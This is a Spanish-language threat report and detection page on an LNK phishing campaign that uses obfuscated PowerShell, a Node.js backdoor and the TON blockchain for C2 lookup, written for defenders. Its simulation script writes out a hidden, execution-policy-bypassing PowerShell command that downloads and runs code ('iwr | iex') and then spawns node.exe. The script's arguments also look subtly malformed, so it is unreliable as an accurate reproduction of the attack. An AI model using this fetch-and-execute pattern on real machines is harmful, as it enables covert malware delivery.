Ataque LNK en Múltiples Etapas Utiliza Blockchain TON para Entregar un Backdoor en Node.js
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un sofisticado ataque de múltiples etapas utiliza archivos LNK maliciosos entregados a través de phishing para desplegar un backdoor basado en Node.js. El malware se basa en la técnica EtherHiding al consultar la blockchain TON para obtener sus direcciones de comando y control, facilitando las actualizaciones de infraestructura para los operadores. También utiliza métodos avanzados de evasión, incluyendo un intérprete de máquina virtual de bytecode personalizado y scripts PowerShell fuertemente ofuscados.
Investigación
El equipo de Investigación de Amenazas Gestionadas de LevelBlue descubrió la campaña a través de alertas de seguridad vinculadas a archivos ZIP y archivos LNK sospechosos. Los analistas deofuscaron comandos de PowerShell que usaban lógica bitwise y aritmética para reconstruir URL maliciosas. También examinaron un intérprete de máquina virtual JavaScript personalizado utilizado para ejecutar bytecode cifrado y rastrearon la recuperación de comando y control a transacciones en la blockchain TON.
Mitigación
Las organizaciones deberían restringir la ejecución de archivos LNK de fuentes no confiables y monitorizar el comportamiento sospechoso de PowerShell, especialmente comandos que involucren lógica bitwise o cálculos de enteros grandes. Debería usarse un fuerte filtrado de correos electrónicos para bloquear enlaces maliciosos, y los defensores deberían observar instalaciones o ejecuciones no autorizadas de Node.js. Restringir el acceso a APIs relacionadas con el blockchain para procesos inusuales también podría interrumpir la recuperación de comando y control.
Respuesta
Si se detecta esta actividad, aisle los endpoints afectados y termine los procesos sospechosos node.exe o procesos de PowerShell inmediatamente. Realice forense de memoria para recuperar el bytecode de JavaScript descifrado e identifique los dominios de comando y control específicos que están siendo consultados. Revise las claves Run del registro para detectar persistencia no autorizada y escanee las exclusiones de Windows Defender creadas por el malware.
Flujo de Ataque
Detecciones
Posibles Puntos de Persistencia [ASEPs – Software/NTUSER Hive] (vía registry_event)
Proof of Value
Powershell ejecutando archivo en directorio sospechoso usando política de ejecución omisión (vía cmdline)
Proof of Value
Binario de NodeJS ejecutándose desde una ubicación poco común (vía cmdline)
Proof of Value
Llamar a métodos sospechosos .NET desde Powershell (vía powershell)
Proof of Value
Cambios sospechosos en las preferencias de Windows Defender (vía powershell)
Proof of Value
Posible descarga de NodeJs por proceso sospechoso (vía dns_query)
Proof of Value
Ejecución de PowerShell y Node.js ofuscada a través de archivo LNK [Creación de proceso de Windows]
Proof of Value
Ejecución de Simulación
Prerrequisito: La comprobación preliminar de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tener como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.
-
Narrativa del Ataque y Comandos: El adversario busca establecer un backdoor en el sistema. Para evadir la detección, utilizan un archivo LNK que ejecuta un comando de PowerShell. En lugar de una URL clara, usan
-band 255and-shr 8para manipular grandes valores enteros que, cuando se procesan, reconstruyen una URL que apunta a una carga maliciosa. Una vez que la carga útil se recupera o prepara, el proceso de PowerShell generanode.exepara ejecutar el backdoor basado en JavaScript, mezclándose con la actividad legítima del desarrollador en la máquina. -
Script de Prueba de Regresión:
# Simulación de la cadena de ejecución PowerShell ofuscada -> Node.js # Este script imita los argumentos de línea de comandos específicos requeridos por la regla de detección. $jsPayload = "console.log('Conexión C2 Establecida');" # Paso 1: Simular la etapa de ofuscación de PowerShell (como aparecería en la línea de comandos del proceso) # En un ataque real, este sería el comando activado por el archivo LNK. $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`"" # Paso 2: Simular la ejecución subsiguiente de Node.js como parte de la misma cadena # Usamos Start-Process para simular la relación padre-hijo Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`"" -
Comandos de Limpieza:
# No se crearon archivos persistentes con esta simulación, # pero nos aseguramos de que cualquier proceso de nodo generado sea terminado. Stop-Process -Name "node" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue